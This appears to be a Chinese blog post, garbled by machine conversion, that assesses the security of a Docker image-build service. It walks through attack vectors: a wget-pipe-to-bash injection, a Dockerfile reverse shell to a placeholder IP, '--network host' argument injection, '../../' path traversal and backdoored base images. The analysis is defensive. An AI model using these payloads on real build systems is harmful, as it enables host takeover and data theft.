背景

业务提供一个性能：依据用户的代码仓库编译镜像，并且治理镜像。

编译镜像时的业务实现相似上面这样，其中image_name_tag、dockerfile_file、dockerfile_path变量都是从内部web入口传入的。

docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}

如果你是这个业务的研发或者平安测试人员，你感觉这里会产生哪些安全漏洞？

我的剖析

命令执行

我想大家第一个都会想到"命令执行破绽"：image_name_tag变量如果用户传入wget -c http://xxx/x.sh | bash -c就能执行近程服务器上的脚本，拿到宿主机服务器权限。

如果研发大哥对传入的变量做了黑名单呢(比方判断是否蕴含$、`)，还有其余安全漏洞吗？

Dockerfile中反弹shell

-f ${dockerfile_file}这里Dockerfile的内容是用户可控的，所以也很容易想到：咱们能够在Dockerfile中写任意命令，获取到"反弹shell"。

FROM ubuntu
MAINTAINER Victor Coisne victor.coisne@dotcloud.com
RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口
RUN bash /tmp/1.sh

在"反弹shell"中咱们能够尝试去拜访"dockerd服务"所在的宿主机网络，或者宿主机能拜访到的网络，而后能够去测试网络中的软弱服务。

如果研发大哥在这里用iptables对容器和宿主机网络做了隔离，还有其余安全漏洞吗？

用户数据透露

Dockerfile中的第一行FROM如果我填写其余用户编译好的镜像名称，是不是有可能读到其余用户镜像呢？

尽管"镜像名称"难猜中，然而这个危险的确是存在的。

如果研发大哥在构建镜像并推送到镜像仓库后，而后用docker rmi清空本地的镜像缓存，就不存在这种危险了，那还有其余安全漏洞吗？

给所有镜像种个后门

image_name_tag是编译后的镜像名，Dockerfile中的第一行FROM指令又须要一个根底镜像，那么是否存在如下可能：A用户应用的根底镜像是B用户build生成。如果存在这个可能，那一个歹意用户build生成带后门的nginx、ubuntu等根底镜像，就能够导致其余用户的生成镜像时都带上后门。

测试后，发现"dockerd服务"默认会应用本地镜像，所以会呈现下面的问题。

--pull=true|false
Always attempt to pull a newer version of the image. The default is false.

如果研发大哥应用了docker build --pull=true每次拉取最新镜像，还有其余安全漏洞吗？

命令参数注入--network host

如果传入image_name_tag参数值是xxx --network host,能够达到docker build xxx --network host的成果，配合Dockerfile中反弹shell，能够让shell和"dockerd服务"处于同一个网络。这样iptables对容器和宿主机的网络隔离就不起作用了。

当然你还能够注入--build-arg读宿主机环境变量，或者看看docker build还有没有其余的命令行参数能够拿来利用。

如果研发大哥对参数值判断了，不容许-符号传入呢，还有其余安全漏洞吗？

服务数据透露

上面的命令能够把"docker客户端"的/tmp、../../目录下的文件全副拷贝到"编译容器"中，配合Dockerfile中反弹shell，能够在shell中读到"docker客户端"机器上的。

docker build -f ./Dockerfile /tmp
docker build -f ./Dockerfile ../../

同时你可能须要用.dockersignore文件疏忽某些文件或目录，防止一些大文件被拷贝到"编译容器"。

所以如果用户传入dockerfile_path参数为../../这种模式的门路，是能够读到机器上的文件。

如果研发大哥判断用户传入的参数，不容许呈现..这种目录跳转，还有其余安全漏洞吗？

emm，反正我想不到其余的攻击点了。

另外我想补充阐明一下，docker是一个cs架构的软件，所以在做破绽利用时须要分明咱们是在谁的网络环境下、读谁的文件（谁指的是客户端还是服务端）

总结

本文介绍了一个docker相干的平安评估的案例，包含其中的危险点和修复措施，心愿你能有点播种。

在做这个评估时，我的感触是：有时候业务评估十分依赖评估人员本身的教训，并且如同没有方法依赖一个方法论(比方stride)评估出所有危险点。